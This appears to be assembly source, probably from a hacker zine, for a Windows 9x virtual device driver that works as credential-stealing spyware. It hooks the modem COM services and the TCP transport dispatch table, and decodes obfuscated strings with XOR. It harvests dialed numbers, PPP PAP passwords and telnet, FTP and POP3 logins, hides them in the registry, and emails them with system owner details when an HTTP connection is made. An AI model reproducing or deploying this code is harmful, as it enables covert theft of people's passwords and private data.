procedure ; ;---------------------------------------------------------------------------; ; ; ; Used variables Read Write ; ; ; ; Disable x ; ; TraceType x x ; ; TracedHandle x x ; ; Index x ; ; pOpenComm_PrevHook x ; ; ; ;---------------------------------------------------------------------------; BeginProc OpenComm_Hook, HOOK_PROC, pOpenComm_PrevHook, LOCKED push ebp mov ebp, esp ; ebp-04h -> saved eax (from pushad) ; ebp+00h -> saved ebp ; ebp+04h -> return address ; ebp+08h -> pPortName ; ebp+0Ch -> VMId pushad pushfd cmp Disable, 1 ; Is hook operation disabled? jz OpenComm_Hook_End cmp TraceType, 0 ; Is any tracing in progress? jne OpenComm_Hook_End ; if yes - abort mov esi, dword ptr [ebp+08h] ; ds:[esi] = pPortName cmp word ptr [esi], "OC" ; Continue only if port name is "COM" jne OpenComm_Hook_End push [ebp+0Ch] ; Push VMId push [ebp+08h] ; Push pPortName call [pOpenComm_PrevHook] ; Call the old handler add esp, 8h mov [ebp-04h], eax ; blah... cmp eax, -31 ; If there is error opening the port jae Dont_Trace_Comm mov TracedHandle, eax ; Save the comm handle we are tracing xor eax, eax ; Reset the buffer mov Index, eax inc al ; TraceType = 1 (modem trace) mov TraceType, al mov BufferSize, 1024 mov LogProc, offset32 ModemLog Dont_Trace_Comm: popfd popad pop ebp ret ; Return to caller OpenComm_Hook_End: popfd popad pop ebp jmp [pOpenComm_PrevHook] ; Chain to previous hook EndProc OpenComm_Hook ;---------------------------------------------------------------------------; ; _VCOMM_WriteComm hook procedure ; ;---------------------------------------------------------------------------; ; ; ; Used variables Read Write ; ; ; ; Disable x ; ; TraceType x ; ; ; ; Calls: Send_Common ; ;---------------------------------------------------------------------------; BeginProc WriteComm_Hook, HOOK_PROC, pWriteComm_PrevHook, LOCKED push ebp mov ebp, esp ; ebp+00h -> saved ebp ; ebp+04h -> return address ; ebp+08h -> hPort ; ebp+0Ch -> achBuffer ; ebp+10h -> cchRequested ; ebp+14h -> cchWritten pushfd ; save flags on stack pushad ; save registers on stack xor eax, eax cmp Disable, al ; Is hook operation disabled? jnz WriteComm_Hook_End cmp TraceType, 1 ; Is this a modem trace? jnz WriteComm_Hook_End ;---------------------------------------------------------------------------; ; The following code is disabled due to the strange behavior of Windows. ; ; It opens COMx and sends AT commands using this connection. But when the ; ; modem connects, it opens another connection, which name varies and uses ; ; it to send PPP traffic. That's why after opening the COMx connection, we ; ; will log EVERY byte sent through EVERY connection, until the COMx is ; ; closed or the log limit is exceeded. ; ; ; ; mov eax, TracedHandle ; Are we tracing our connection? ; ; cmp eax, [ebp+08h] ; ; jne WriteComm_Hook_End ; ;---------------------------------------------------------------------------; mov esi, dword ptr [ebp+0Ch] ; esi = achBuffer (source) mov eax, [ebp+10h] ; eax = cchRequested call Send_Common WriteComm_Hook_End: popad popfd pop ebp jmp [pWriteComm_PrevHook] ; Chain to previous hook EndProc WriteComm_Hook ;---------------------------------------------------------------------------; ; _VCOMM_CloseComm hook procedure ; ;---------------------------------------------------------------------------; ; ; ; Used variables Read Write ; ; ; ; Disable x ; ; TraceType x x ; ; TracedHandle x ; ; ; ;---------------------------------------------------------------------------; BeginProc CloseComm_Hook, HOOK_PROC, pCloseComm_PrevHook, LOCKED push ebp mov ebp, esp ; ebp+00h -> saved ebp ; ebp+04h -> return address ; ebp+08h -> hPort pushfd ; save flags on stack pushad ; save registers on stack cmp Disable, 1 ; Is hook operation disabled? jz CloseComm_Hook_End cmp TraceType, 1 ; Is this a modem trace? jnz CloseComm_Hook_End mov eax, TracedHandle ; If hPort = TracedHandle stop tracing cmp eax, [ebp+08h] jne CloseComm_Hook_End mov TraceType, 0 ; Stop tracing CloseComm_Hook_End: popad popfd pop ebp jmp [pCloseComm_PrevHook] ; Chain to previous hook EndProc CloseComm_Hook ;---------------------------------------------------------------------------; ; TdiConnect hook procedure ; ;---------------------------------------------------------------------------; ; ; ; Used variables Read Write ; ; ; ; Disable x ; ; TraceType x x ; ; TracedHandle x ; ; Index x ; ; BufferSize x ; ; IP x ; ; OldCallback x ; ; ; ; Calls: Sendmail, TdiConnect_Callback ; ;---------------------------------------------------------------------------; BeginProc TdiConnect_Hook push ebp mov ebp, esp ; ebp-04h -> saved eax (from pushad) ; ebp+00h -> saved ebp ; ebp+04h -> return address ; ebp+08h -> *Request ; ebp+0Ch -> *TO ; ebp+10h -> *RequestAddr ; ebp+14h -> *ReturnAddr pushad pushfd cmp Disable, 1 ; Is hook operation disabled? jz TdiConnect_Hook_Jmp cmp TraceType, 0 ; Is any tracing in progress? jne TdiConnect_Hook_Jmp ; if yes - abort mov edi, [ebp+10h] ; edi = *RequestAddr mov edi, [edi+14h] ; edi = *RemoteAddr cmp word ptr [edi+06h], 2 ; TDI_ADDRESS_TYPE_IP jne TdiConnect_Hook_Jmp xor eax, eax ; Reset the index mov Index, eax mov ax, [edi+08h] ; ax = sin_port cmp ax, 1500h ; ftp? je Start_Ftp_log cmp ax, 1700h ; telnet? je Start_Telnet_log cmp ax, 6E00h ; pop3? je Start_Pop3_log cmp ax, 5000h ; http? jne TdiConnect_Hook_Jmp call Sendmail jmp TdiConnect_Hook_Jmp Start_Telnet_log: mov TraceType, 2 mov LogProc, offset32 TelnetLog mov BufferSize, 500 jmp Start_Log Start_Ftp_log: mov TraceType, 3 mov LogProc, offset32 FtpLog mov BufferSize, 100 jmp Start_Log Start_Pop3_log: mov TraceType, 4 mov LogProc, offset32 Pop3Log mov BufferSize, 100 Start_Log: mov ebx, [edi+0Ah] ; ebx = in_addr mov IP, ebx ; Save the IP mov edi, [ebp+08h] ; edi = *Request mov eax, [edi] ; Request.ConnectionContext mov TracedHandle, eax mov eax, [edi+04h] ; Save old callback mov OldCallback, eax mov [edi+04h], offset32 TdiConnect_Callback ; Hook it push edi push [ebp+14h] push [ebp+10h] push [ebp+0Ch] push [ebp+08h] call [TdiConnect_PrevAddr] ; Chain to previous hook add esp, 10h mov [ebp-04h], eax ; Save the return value pop edi ; edi = *Request mov ebx, OldCallback mov [edi+04h], ebx ; Restore old callback cmp eax, 0FFh je TdiConnect_Hook_End or eax, eax je TdiConnect_Hook_End ; There is some error, don't trace mov TraceType, 0 TdiConnect_Hook_End: popfd popad pop ebp ret TdiConnect_Hook_Jmp: popfd popad pop ebp jmp [TdiConnect_PrevAddr] ; Chain to previous hook EndProc TdiConnect_Hook ;---------------------------------------------------------------------------; ; TdiConnect_Callback hook procedure ; ;---------------------------------------------------------------------------; ; ; ; Used variables Read Write ; ; ; ; TraceType x x ; ; OldCallback x ; ; ; ;---------------------------------------------------------------------------; BeginProc TdiConnect_Callback push ebp mov ebp, esp ; ebp+00h -> saved ebp ; ebp+04h -> return address ; ebp+08h -> *Context ; ebp+0Ch -> FinalStatus ; ebp+10h -> ByteCount pushad pushfd mov eax, [ebp+0Ch] or eax, eax je TdiConnect_Callback_End mov TraceType, 0 TdiConnect_Callback_End: popfd popad pop ebp jmp [OldCallback] EndProc TdiConnect_Callback ;---------------------------------------------------------------------------; ; TdiSend hook procedure ; ;---------------------------------------------------------------------------; ; ; ; Used variables Read Write ; ; ; ; Disable x ; ; TraceType x ; ; TracedHandle x ; ; ; ; Calls: Send_Common ; ;---------------------------------------------------------------------------; BeginProc TdiSend_Hook push ebp mov ebp, esp ; ebp+00h -> saved ebp ; ebp+04h -> return address ; ebp+08h -> *Request ; ebp+0Ch -> Flags ; ebp+10h -> SendLength ; ebp+14h -> *SendBuffer pushfd pushad cmp Disable, 1 ; Is hook operation disabled? je TdiSend_Hook_End cmp TraceType, 1 ; Is this a TCP trace? jbe TdiSend_Hook_End mov edi, [ebp+08h] ; edi = *Request mov eax, TracedHandle cmp eax, [edi] ; Are we tracing THIS ConnectionContext? jne TdiSend_Hook_End mov edi, [ebp+14h] ; edi = *SendBuffer mov esi, [edi+04h] ; esi = source buffer mov eax, [edi+0Ch] ; eax = Length call Send_Common TdiSend_Hook_End: popad popfd pop ebp jmp [TdiSend_PrevAddr] ; Chain to previous hook EndProc TdiSend_Hook ;---------------------------------------------------------------------------; ; TdiDisconnect hook procedure ; ;---------------------------------------------------------------------------; ; ; ; Used variables Read Write ; ; ; ; Disable x ; ; TraceType x x ; ; TracedHandle x ; ; ; ;---------------------------------------------------------------------------; BeginProc TdiDisconnect_Hook push ebp mov ebp, esp ; ebp+00h -> saved ebp ; ebp+04h -> return address ; ebp+08h -> *Request ; ebp+0Ch -> *TO ; ebp+10h -> Flags ; ebp+14h -> *DisConnInfo ; ebp+18h -> *ReturnInfo pushfd ; save flags on stack pushad ; save registers on stack cmp Disable, 1 ; Is hook operation disabled? jz TdiDisconnect_Hook_End cmp TraceType, 1 ; Is this a TCP trace? jbe TdiDisconnect_Hook_End mov eax, TracedHandle ; If the traced handle is being closed mov edi, [ebp+08h] ; edi = *Request cmp eax, [edi] ; [edi] = ConnectionContext jne TdiDisconnect_Hook_End ; We are disconnected before the buffer is full. We will reset the BufferSize ; to the current and process the buffer anyway. mov eax, Index mov BufferSize, eax xor eax, eax call Send_Common ; Don't need to stop tracing, because Send_Common should do this. TdiDisconnect_Hook_End: popad popfd pop ebp jmp [TdiDisconnect_PrevAddr] ; Chain to previous hook EndProc TdiDisconnect_Hook ;---------------------------------------------------------------------------; ; TdiCloseConnection hook procedure ; ;---------------------------------------------------------------------------; ; ; ; Used variables Read Write ; ; ; ; Disable x ; ; TraceType x x ; ; TracedHandle x ; ; ; ;---------------------------------------------------------------------------; BeginProc TdiCloseConnection_Hook push ebp mov ebp, esp ; ebp+00h -> saved ebp ; ebp+04h -> return address ; ebp+08h -> *Request pushfd ; save flags on stack pushad ; save registers on stack cmp Disable, 1 ; Is hook operation disabled? jz TdiCloseConnection_Hook_End cmp TraceType, 1 ; Is this an IP trace? jbe TdiCloseConnection_Hook_End mov eax, TracedHandle ; If the traced handle is being closed mov edi, [ebp+08h] ; edi = *Request cmp eax, [edi] ; [edi] = ConnectionContext jne TdiCloseConnection_Hook_End ; We are disconnected before the buffer is full. We will reset the BufferSize ; to the current and process the buffer anyway. mov eax, Index mov BufferSize, eax xor eax, eax call Send_Common ; Don't need to stop tracing, because Send_Common should do this. TdiCloseConnection_Hook_End: popad popfd pop ebp jmp [TdiCloseConnection_PrevAddr] ; Chain to previous hook EndProc TdiCloseConnection_Hook ;---------------------------------------------------------------------------; ; Send_Common procedure ; ;---------------------------------------------------------------------------; ; Input: ; ; ; ; eax - length of data ; ; esi - data source ; ;---------------------------------------------------------------------------; ; ; ; Used variables Read Write ; ; ; ; BufferSize x ; ; Index x x ; ; pBuffer x ; ; ValueName x ; ; dwTemp_1 x ; ; hOurKey x ; ; TraceType x ; ; ; ; Calls: ModemLog, TelnetLog, FtpLog, Pop3Log ; ;---------------------------------------------------------------------------; BeginProc Send_Common mov ecx, BufferSize mov ebx, Index ; ebx = Index sub ecx, ebx ; ecx = free space in buffer mov edi, pBuffer ; edi = pBuffer+Index (destination) add edi, Index cmp ecx, eax jbe Do_Copy_Buffer ; If the space in the buffer is not ; enough, don't overrun it mov ecx, eax ; Else, copy cchRequested bytes Do_Copy_Buffer: add ebx, ecx ; Increment the Index mov Index, ebx rep movsb ; Copy it in the buffer mov ecx, BufferSize jz Send_Common_Abort ; Stop tracing cmp ebx, ecx ; If Index < BufferSize end operation jb Send_Common_End ; The buffer is full, precess the log and probably save it in the registry mov byte ptr [edi], 0 ; Null-terminate the log inc edi ; Buffer for the value name push edi ; We need to save this, because ; we will store two bytes in front ; of the string, returned by LogProc xor ebx, ebx mov bl, TraceType mov esi, TraceLetters mov al, byte ptr [esi+ebx] mov byte ptr [edi], al ; Store a trace identifier inc edi mov byte ptr [edi], 20h ; Store a space inc edi mov ValueName, edi call LogProc ; Process the log ; At this point ALL registers are fucked up, except eax pop ValueName test eax, eax ; Is there an error (eax=1)? jnz Send_Common_Abort Get_Reg_Value: ; Try to get the value with the same name xor ebx, ebx mov dwTemp_1, ebx push offset32 dwTemp_1 ; cbData push ebx ; lpszData push ebx ; fdwType push ebx ; dwReserved push ValueName ; lpszValueName push hOurKey ; phKey VMMCall _RegQueryValueEx ; Get the value of the key add esp, 18h cmp eax, ERROR_FILE_NOT_FOUND ; If key exists jne Send_Common_Abort ; Save the result in the registry push BufferSize ; cbData push pBuffer ; lpszData push REG_SZ ; fdwType push 0 ; dwReserved push ValueName ; lpszValueName push hOurKey ; phKey VMMCall _RegSetValueEx ; Set the value of the key add esp, 18h ; Store 'P' as the default value - flag that there is something to email push 1 ; cbData push offset32 Letter_P ; lpszData push REG_SZ ; fdwType push 0 ; lpSubKey push hOurKey VMMCall _RegSetValue add esp, 14h Send_Common_Abort: mov TraceType, 0 Send_Common_End: ret EndProc Send_Common ;---------------------------------------------------------------------------; ; ModemLog procedure ; ;---------------------------------------------------------------------------; ; ; ; Used variables Read Write ; ; ; ; pBuffer x ; ; BufferSize x ; ; ValueName x ; ; ; ; Notes: Fucks off all registers, except EAX ; ; Returns: eax = 0 - ok, 1 = error ; ;---------------------------------------------------------------------------; BeginProc ModemLog ; Try to find the dialed number and copy it as ValueName mov edi, pBuffer ; Source xor ecx, ecx FindATD_Loop: cmp word ptr [edi], "TA" ; Search for ATD jne NotATD cmp byte ptr [edi+2], "D" jne NotATD add edi, 3 jmp ATDFound NotATD: inc edi inc ecx cmp ecx, BufferSize jae ModemLog_Abort ; ATD not found in the buffer - abort jmp FindATD_Loop ATDFound: mov edx, edi ; edx = beginning of phone number mov esi, edi sub ecx, BufferSize neg ecx ; ecx = size of the rest of buffer mov ebx, ecx mov al, 0Dh ; Search for repne scasb jnz ModemLog_Abort ; not found after ATD command sub edi, edx mov ecx, edi ; ecx = phone number length sub ebx, ecx ; ebx = size of the rest of buffer mov esi, edx ; beginning of phone number mov edi, ValueName rep movsb ; Store the phone number as value name mov edx, edi ; edx = end of phone number cmp byte ptr [esi], '~' ; Is PPP directly started (PAP auth)? jne Tilda_Loop ; It's PAP PAP_Loop: cmp dword ptr [esi], 0123C07Eh ; Is it PAP packet? je PAP_Found inc esi dec ebx jnz PAP_Loop jmp ModemLog_Abort ; This shouldn't happen, but anyway... ; (either no auth or CHAP) PAP_Found: ; The PAP packet has the follwing structure: ; ; | 7E | C0 23 | 01 | xx | xx xx | ULen | U S E R | PLen | P A S S | ; | | | | | | | | | | ; |PPP | PAP |code| id |length |user len|username |pass len|password | ; add esi, 7 ; Point to the Username length field xor ecx, ecx mov cl, byte ptr [esi] ; Username length inc esi rep movsb ; Copy username mov ax, 0A0Dh ; Save a between username & pass stosw mov cl, byte ptr [esi] ; Password length inc esi rep movsb ; Copy password jmp ModemLog_Final Tilda_Loop: movsb ; Copy until ~ found (until PPP start) dec ebx jz Tilda_Not_Found cmp byte ptr [esi], '~' jne Tilda_Loop ModemLog_Final: xor eax, eax stosb ; Null terminate the value name ret Tilda_Not_Found: mov byte ptr [edx], 0 ; Null terminate after the phone num ret ModemLog_Abort: xor eax, eax ; eax = 1 (error) inc eax ret EndProc ModemLog ;---------------------------------------------------------------------------; ; TelnetLog procedure ; ;---------------------------------------------------------------------------; ; ; ; Used variables Read Write ; ; ; ; pBuffer x ; ; BufferSize x ; ; ValueName x ; ; ; ; Calls: DWord2Str ; ; Returns: eax = 0 - ok, 1 = error ; ; ; ; Notes: Fucks off all registers, except EAX ; ;---------------------------------------------------------------------------; BeginProc TelnetLog ; Convert the IP to string and store it as value name mov ebx, IP mov edi, ValueName call DWordToStr ; Save the IP as the value name mov ax, 0A0Dh ; Save a stosw mov esi, edi ; esi = address to write mov edi, pBuffer mov ecx, BufferSize mov ebx, ecx repne scasb ; Search for jne CR_Sequence_NotFound repne scasb ; Search for second jne CR_Sequence_NotFound std ; Decrement esi & edi sub ebx, ecx ; ebx - size to the beginning of buffer mov ecx, ebx inc ecx ; See the note bellow inc ecx xor al, al repne scasb ; If NULL is found, edi points to the byte before it and we need to do ; inc edi twice. Else, edi would point to the first char in the buffer ; and we don't need to inc it. ; That's why we have done 'inc ecx' twice a couple of lines before. ; This way, if NULL is not found, edi points to the first-2 char ; and we can (and must) do inc edi two times. inc edi inc edi ; Actually it doesn't matter if NULL is found. Just copy the rest. cld ; Increment esi & edi sub ebx, ecx ; ebx - size of username/pass string mov ecx, ebx xor esi, edi ; Swap esi & edi (Preslav Nakow rulez) xor edi, esi xor esi, edi rep movsb ; Copy the user/pass to value name xor eax, eax stosb ; Null terminate the value name mov edi, pBuffer mov ecx, BufferSize Null_Loop: repnz scasb jnz End_Null_Loop mov byte ptr [edi-1], '.' or ecx, ecx jz End_Null_Loop jmp Null_Loop End_Null_Loop: ret CR_Sequence_NotFound: mov byte ptr [esi], 0 ; Null terminate after the IP ret EndProc TelnetLog ;---------------------------------------------------------------------------; ; FtpLog procedure ; ;---------------------------------------------------------------------------; ; Used variables Read Write ; ; ; ; pBuffer x ; ; BufferSize x ; ; ValueName x ; ; ; ; Calls: Pop3Log, DWord2Str ; ; Returns: eax = 0 - ok, 1 = error ; ; ; ; Notes: Fucks off all registers, except EAX ; ;---------------------------------------------------------------------------; BeginProc FtpLog call Pop3Log ; Process exactly like pop3 test eax, eax jnz FtpLog_End mov edi, ValueName add edi, 10 ; edi points to the username+1 cmp dword ptr [edi+4], 'suom' ; Is the username 'anonymous'? jne FtpLog_End cmp dword ptr [edi], 'ynon' jne FtpLog_End FtpLog_Abort: xor eax, eax ; eax = 1 (error) inc eax ret FtpLog_End: ret ; eax is set and the value name is ; already null-terminated EndProc FtpLog ;---------------------------------------------------------------------------; ; Pop3Log procedure ; ;---------------------------------------------------------------------------; ; Used variables Read Write ; ; ; ; pBuffer x ; ; BufferSize x ; ; ValueName x ; ; ; ; Calls: DWord2Str ; ; Returns: eax = 0 - ok, 1 = error ; ; ; ; Notes: Fucks off all registers, except EAX ; ;---------------------------------------------------------------------------; BeginProc Pop3Log ; Convert the IP to string and store it as value name mov ebx, IP mov edi, ValueName call DWordToStr ; Save the IP as the value name mov ax, 0A0Dh ; Save a stosw mov esi, pBuffer mov ecx, BufferSize mov ebx, ecx mov eax, 'RESU' ; Search for USER USER_or_PASS_Loop: cmp dword ptr [esi], eax ; Search for USER or PASS (in eax) je USER_or_PASS_Copy_Loop_Start inc esi dec ecx jz Pop3Log_Abort jmp USER_or_PASS_Loop USER_or_PASS_Copy_Loop_Start: add esi, 5 ; Skip 'USER' and 'PASS' USER_or_PASS_Copy_Loop: cmp byte ptr [esi], 0Dh ; Is here? jne Copy_USER_or_PASS cmp al, 'P' ; Is this a PASS copy? je Pop3Log_End ; Work done, finish log processing mov ax, 0A0Dh ; Save a between username & pass stosw mov eax, 'SSAP' jmp USER_or_PASS_Loop Copy_USER_or_PASS: movsb dec ecx jz Pop3Log_Abort jmp USER_or_PASS_Copy_Loop Pop3Log_Abort: xor eax, eax ; eax = 1 (error) inc eax ret Pop3Log_End: xor eax, eax stosb ; Null-terminate ret EndProc Pop3Log ;---------------------------------------------------------------------------; ; DWordToStr procedure - input ebx, edi ; ;---------------------------------------------------------------------------; ; ; ; Input: ebx - dword ; ; edi - lpstr ; ; ; ; Output: edi - points to the next byte after the written string ; ; ; ; Preserves all registers, except edi ; ;---------------------------------------------------------------------------; BeginProc DWordToStr pusha mov cx, 28 Digit_Loop_Start: mov eax, ebx shr eax, cl and al, 0Fh add al, 48 ; "0" cmp al, 57 ; "9" jbe Digit_ok add al, 7 ; convert 10 to A, 11 to B, etc Digit_ok: stosb sub cl, 4 jge Digit_Loop_Start xor al, al stosb popa add edi, 8 ret EndProc DWordToStr ;---------------------------------------------------------------------------; ; Sendmail procedure ; ;---------------------------------------------------------------------------; BeginProc Sendmail ; ZMH mov Disable, 1 ; We are busy ; Check if there is something to mail xor eax, eax push offset32 dwTemp_1 ; lpcbValue push eax ; lpValue push eax ; lpSubKey push hOurKey ; hKey VMMCall _RegQueryValue add esp, 10h or eax, eax ; cmp eax, ERROR_SUCCESS jnz Abort_Mail_Alloc cmp dwTemp_1, 1 ; There is no value there jbe Abort_Mail_Alloc ; Allocate mail buffer and create the message VMMCall _HeapAllocate, or eax, eax ; zero if error jz Abort_Mail_Alloc mov [pMailBuffer], eax ; address of memory block mov [MailPointer], eax mov esi, offset32 MailData_1 mov edi, eax mov ecx, cbMailData_1 add MailPointer, ecx rep movsb push offset32 dwTemp_1 ; phKey push offset32 CurrentVersionSubKey ; SubKey push HKEY_LOCAL_MACHINE VMMCall _RegOpenKey ; Open the key add esp, 0Ch or eax, eax ; cmp eax, ERROR_SUCCESS jnz Abort_Mail mov ebx, offset32 sRegisteredOwner call QueryRegValue mov ebx, offset32 sRegisteredOrganization call QueryRegValue mov ebx, offset32 sSystemRoot call QueryRegValue mov ebx, offset32 sVersionNumber call QueryRegValue push dwTemp_1 ; hKey VMMCall _RegCloseKey ; Close the key add esp, 04h ; Start enumerating the values mov dwTemp_1, 0 Enum_Loop: mov BufferSize, MAX_BUFFER_LENGTH push offset32 BufferSize ; lpcbData push pBuffer ; lpbData push 0 ; lpdwType push 0 ; lpdwReserved mov eax, pMailBuffer add eax, MAIL_BUFFER_LENGTH mov ebx, MailPointer sub eax, ebx ; Calculate the free space in buffer mov dwTemp_2, eax push offset32 dwTemp_2 ; lpcchValue push MailPointer ; lpszValue push dwTemp_1 ; iValue push hOurKey ; hKey VMMCall _RegEnumValue ; Get the value of the key add esp, 20h inc dwTemp_1 ; dwTemp_1 = iValue + 1 cmp eax, ERROR_NO_MORE_ITEMS je Enum_End or eax, eax ; cmp eax, ERROR_SUCCESS jne Abort_Mail mov esi, pBuffer mov edi, MailPointer add edi, dwTemp_2 mov ecx, BufferSize rep movsb mov eax, 0A0D0A0Dh ; Add two line breaks stosd mov MailPointer, edi jmp Enum_Loop Enum_End: mov esi, offset32 MailData_2 mov edi, MailPointer mov ecx, cbMailData_2 mov eax, ecx add eax, MailPointer sub eax, pMailBuffer inc eax mov SendDataLength, eax rep movsb ; Open address object push offset32 TdiAddressOption push 6 ; Protocol (TCP) push offset32 TransportAddress push offset32 Request mov esi, TdiDispatchTable call dword ptr [esi] ; TdiOpenAddress add esp, 10h cmp eax, 0 jnz Abort_Mail ; Save the address handle for future use mov eax, dword ptr Request mov AddressHandle, eax ; Open connection object push offset32 Context ; Context push offset32 Request mov esi, TdiDispatchTable call dword ptr [esi+8] ; TdiOpenConnection add esp, 8 cmp eax, 0 jnz Abort_Mail ; Save the connection context for future use mov eax, dword ptr Request mov ConnectionContext, eax ; Associate the connection context with the address handle push AddressHandle push offset32 Request mov esi, TdiDispatchTable call dword ptr [esi+10h] ; TdiAssociateAddress add esp, 8h cmp eax, 0 jnz Abort_Mail ; Connect to the mail host push offset32 RequestAddr push offset32 RequestAddr push 0 ; TO mov RequestContext, offset32 Send_1 push offset32 Request mov esi, TdiDispatchTable call dword ptr [esi+18h] ; TdiConnect add esp, 10h cmp eax, 0FFh ; If pending -> end proc ret Call_TDI_CallBack: push 0 ; ByteCount push eax ; FinalStatus push offset32 RequestContext ; pContext call TdiMail_Callback add esp, 0Ch ret Abort_Mail: VMMCall _HeapFree, Abort_Mail_Alloc: xor eax, eax mov Disable, al mov TracedHandle, eax ret EndProc SendMail ;---------------------------------------------------------------------------; ; TdiMail_Callback ; ;---------------------------------------------------------------------------; BeginProc TdiMail_Callback push ebp mov ebp, esp pushfd ; save flags on stack pushad ; save registers on stack ; ebp+00h -> saved ebp ; ebp+04h -> return address ; ebp+08h -> pContext ; ebp+0Ch -> FinalStatus ; ebp+10h -> ByteCount mov eax, [ebp+08h] ; RequestContext or eax, eax je TdiMail_Callback_End mov ebx, [ebp+0Ch] ; If error -> close connection or ebx, ebx jne Close_Connection jmp dword ptr eax ; RequestContext points to code Send_1: mov RequestContext, offset32 Disconnect ; Pointer to next code mov eax, ConnectionContext ; Get the ConnectionContext mov Request, eax push offset32 NDISBuffer push SendDataLength ; Length push 0 ; No flags push offset32 Request mov esi, TdiDispatchTable call dword ptr [esi+2Ch] ; TdiSend add esp, 10h cmp eax, 0FFh ; If pending -> wait je TdiMail_Callback_End or eax, eax ; If error -> Close connection jnz Close_Connection jmp dword ptr [RequestContext] ; If ok -> jump to next code Disconnect: ; Delete the default value (send is done) xor eax, eax push eax ; cbData push offset32 Zero ; lpszData push REG_SZ ; fdwType push eax ; lpSubKey push hOurKey VMMCall _RegSetValue add esp, 14h mov eax, ConnectionContext mov Request, eax mov RequestContext, offset32 Close_Connection ; Pointer to next code xor eax, eax push eax ; ReturnInfo push eax ; DiscConnInfo push eax ; Flags push eax ; TO push offset32 Request mov esi, TdiDispatchTable call dword ptr [esi+1Ch] ; TdiDisconnect add esp, 14h cmp eax, 0FFh ; If pending -> wait je TdiMail_Callback_End Close_Connection: VMMCall _HeapFree, xor ah, ah ; Undisable mov Disable, ah mov eax, AddressHandle mov Request, eax push offset32 Request mov esi, TdiDispatchTable call dword ptr [esi+04h] ; TdiCloseAddress add esp, 4h TdiMail_Callback_End: popad popfd pop ebp ret EndProc TdiMail_Callback ;---------------------------------------------------------------------------; ; QueryRegValue subroutine. ; ;---------------------------------------------------------------------------; ; ; ; Used variables Read Write ; ; ; ; dwTemp_1 x ; ; pMailBuffer x ; ; MailPointer x x ; ; dwTemp_2 x ; ; ; ; Input: dwTemp_1 - opened key ; ; ebx - lpszSubKey ; ; ; ; Returns: returns to Abort_Mail if there is an error ; ;---------------------------------------------------------------------------; BeginProc QueryRegValue mov eax, pMailBuffer ; Calculate the free space in buffer add eax, MAIL_BUFFER_LENGTH-9 sub eax, MailPointer mov dwTemp_2, eax push offset32 dwTemp_2 ; cbData push MailPointer ; lpszData push REG_SZ ; fdwType push 0 ; dwReserved push ebx ; lpszSubKey push dwTemp_1 ; phKey VMMCall _RegQueryValueEx ; Get the value of the key add esp, 18h or eax, eax ; cmp eax, ERROR_SUCCESS jne Abort_Query mov edi, pMailBuffer mov ecx, MAIL_BUFFER_LENGTH mov al, 0 repnz scasb jnz Abort_Query dec edi mov eax, 0A0D0A0Dh ; Add two line breaks stosd mov MailPointer, edi ret Abort_Query: pop eax ; Blah... Is approved by M$ as a push offset32 Abort_Mail ; "good programming technique"? :-) ret EndProc QueryRegValue ;---------------------------------------------------------------------------; ; Control Proc ; ;---------------------------------------------------------------------------; BeginProc Control_Proc Control_Dispatch Device_Init, Do_Device_Init clc ret EndProc Control_Proc VxD_LOCKED_CODE_ENDS ;---------------------------------------------------------------------------; ; Initialization Code Segment ; ;---------------------------------------------------------------------------; VxD_ICODE_SEG BeginProc Do_Device_Init pushfd ; save flags on stack pushad ; save registers on stack mov edi, ASCIIStart mov ecx, ASCIILength Decode_Loop: ; Why 42...? :-) xor byte ptr [edi], 42 inc edi loop Decode_Loop ; Allocate memory for the buffer VMMCall _HeapAllocate, or eax, eax ; zero if error jz Abort mov [pBuffer], eax ; address of memory block ; Hook VCOMM services GetVxDServiceOrdinal eax, _VCOMM_OpenComm mov esi, offset32 OpenComm_Hook VMMcall Hook_Device_Service jc Abort GetVxDServiceOrdinal eax, _VCOMM_WriteComm mov esi, offset32 WriteComm_Hook VMMcall Hook_Device_Service jc Abort GetVxDServiceOrdinal eax, _VCOMM_CloseComm mov esi, offset32 CloseComm_Hook VMMcall Hook_Device_Service jc Abort ; Make sure VTDI is present VxDcall VTDI_Get_Version jc Abort ; Get a pointer to the TCP dispatch table push offset32 TCPName VxDcall VTDI_Get_Info add esp, 4 mov TdiDispatchTable, eax ; Save the address of TdiDispatchTable ; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend mov ebx, [eax+0Ch] mov TdiCloseConnection_PrevAddr, ebx mov [eax+0Ch], offset32 TdiCloseConnection_Hook mov ebx, [eax+18h] mov TdiConnect_PrevAddr, ebx mov [eax+18h], offset32 TdiConnect_Hook mov ebx, [eax+1Ch] mov TdiDisconnect_PrevAddr, ebx mov [eax+1Ch], offset32 TdiDisconnect_Hook mov ebx, [eax+2Ch] mov TdiSend_PrevAddr, ebx mov [eax+2Ch], offset32 TdiSend_Hook ; Create/Open our key push offset32 hOurKey ; phKey push offset32 OurKey ; SubKey push HKEY_LOCAL_MACHINE VMMCall _RegCreateKey ; Create/open "our" key add esp, 0Ch ; Clean after VMMCall or eax, eax ; cmp eax, ERROR_SUCCESS jnz Abort jmp Device_Init_End Abort: mov Disable, 1 ; Disable hook operation Device_Init_End: popad ; restore registers on stack popfd ; restore flags on stack ret EndProc Do_Device_Init VxD_ICODE_ENDS END <--> ----[ EOF